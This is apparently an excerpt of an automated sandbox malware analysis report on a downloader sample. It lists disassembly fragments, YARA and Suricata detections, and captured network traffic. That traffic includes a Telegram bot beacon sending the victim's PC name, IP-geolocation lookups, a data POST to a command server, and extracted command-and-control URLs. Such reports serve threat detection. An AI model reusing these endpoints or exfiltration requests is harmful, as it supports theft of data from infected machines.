Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612BB33h	0_2_0612B838
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061239F1h	0_2_06123720
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612D31Bh	0_2_0612D020
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06124321h	0_2_06124050
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612A34Bh	0_2_0612A050
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612CE53h	0_2_0612CB58
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06122C29h	0_2_06122958
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06120311h	0_2_06120040
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612E63Bh	0_2_0612E340
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06125A19h	0_2_06125748
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06127843h	0_2_06127548
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06120C41h	0_2_06120970
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612B66Bh	0_2_0612B370
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612E173h	0_2_0612DE78
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06126349h	0_2_06126078
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612F95Bh	0_2_0612F660
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06122312h	0_2_06122068
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06128B63h	0_2_06128868
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612C98Bh	0_2_0612C690
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612F493h	0_2_0612F198
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06124C51h	0_2_06124980
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612737Bh	0_2_06127080
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06123559h	0_2_06123288
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06129E83h	0_2_06129B88
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06125581h	0_2_061252B0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612DCABh	0_2_0612D9B0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06123E89h	0_2_06123BB8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06121571h	0_2_061212A0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612869Bh	0_2_061283A0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612B1A3h	0_2_0612AEA8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06121EA1h	0_2_06121BD0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612EFCBh	0_2_0612ECD0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061207A9h	0_2_061204D8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061281D3h	0_2_06127ED8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06122791h	0_2_061224C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061299BBh	0_2_061296C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612C4C3h	0_2_0612C1C8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061230C1h	0_2_06122DF0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061294F3h	0_2_061291F8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06125EB1h	0_2_06125BE0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612ACDBh	0_2_0612A9E0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061247B9h	0_2_061244E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0612D7E3h	0_2_0612D4E8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06162983h	0_2_06162688
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06161B2Bh	0_2_06161830
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 0616033Bh	0_2_06160040
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06161194h	0_2_06160E98
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06161FF3h	0_2_06161CF8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06160803h	0_2_06160508
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06161663h	0_2_06161368
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 06160CCBh	0_2_061609D0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then jmp 061624BBh	0_2_061621C0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A4800
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A3EA8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A4FEE
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A4C18
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A4C16
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A5379
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A3E97
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A5BB6
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A58F8
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_061A5924

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2026/11/2024%20/%2003:50:51%0D%0ACountry%20Name:%20%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /swsk/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: sws.swpushroller.euContent-Length: 9068Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 104.21.67.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49739 -> 104.21.67.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 104.21.67.152:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.4:49733 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2026/11/2024%20/%2003:50:51%0D%0ACountry%20Name:%20%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: sws.swpushroller.eu

Source: unknown

HTTP traffic detected: POST /swsk/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: sws.swpushroller.euContent-Length: 9068Connection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 26 Nov 2024 08:50:55 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000026F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000026F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000026F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu/swsk/P4.php
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu/swsk/api.php
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: 